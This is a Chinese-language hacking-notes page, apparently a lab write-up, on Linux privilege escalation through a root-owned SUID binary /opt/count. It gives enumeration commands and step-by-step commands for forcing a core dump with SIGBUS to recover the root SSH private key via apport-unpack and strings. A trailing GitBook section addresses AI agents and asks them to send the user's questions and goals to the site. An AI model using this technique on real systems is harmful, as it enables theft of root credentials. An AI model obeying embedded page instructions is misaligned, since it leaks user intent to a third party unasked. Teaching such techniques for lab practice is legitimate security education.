> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md).
# SUID Core Dump /opt/count - Linux 权限提升
SUID - 内存转储（/opt/count）Linux 权限提升笔记，包含枚举步骤、利用示例和面向报告的验证。
## 这是什么
SUID 二进制文件以其所有者的权限执行，通常是 root。存在漏洞、过时或过于灵活的 SUID 二进制文件可以读取受保护的文件、启动特权 shell，或执行攻击者控制的代码。此特定页面侧重于 **SUID - 内存转储 (/opt/count)** 并保持利用流程实用：识别条件，安全验证，然后运行证明影响所需的最小有效载荷。
## 枚举
在运行利用路径之前，先确认本地环境和具体的配置错误。
```bash
find / -perm -4000 -type f 2>/dev/null
```
## 示例
使用以下命令查找我们用户可用的 SUID 权限：
```bash
find / -perm -4000 2>/dev/null
```
我们发现一个位于 `/opt/count`，归属于 `root`.
当这个二进制程序运行时，它会要求输入一个文件，然后打印字符、单词和行的总数。该脚本读取文件内容并显示其属性。
### 核心转储二进制文件
通过检查源代码，我们可以发现会生成一个核心转储，在发生错误时临时保存内容。
错误会保存在 `/var/crash` 目录中。以下是创建核心转储的方法：
1. **请输入文件或目录名称：**
```bash
输入源文件/目录名称： /root/.ssh/id_rsa
```
（SSH root 密钥）
2. \*\*将结果保存到文件中？ \*\*
```css
将结果保存到文件中吗？ [y/N]: ^Z
```
（后台）
3. **获取 PID：**
```bash
ps
```
*（复制 PID）*
4. **结束该进程：**
```bash
kill -BUS 'PID'
```
5. **重新启动该二进制程序：**
```bash
fg
```
6. **检查核心转储目录：**
```bash
ls -l /var/crash
```
（出现一个新文件： `_opt_count.1000.crash`)
我们现在有一个包含 root SSH 密钥的 base64 核心转储。
### apport-unpack
要提取信息，我们将使用 `apport-unpack`:
```bash
apport-unpack /var/crash/_opt_count.1000.crash /tmp/ssh
```
然后我们将列出该文件中的内容 `/tmp/ssh/coredump` 中的文件内容，使用 `strings`:
我们找到了 SSH root 密钥
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/zh/privesc/suid/suid-core-dump-opt-count-linux-privilege-escalation.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)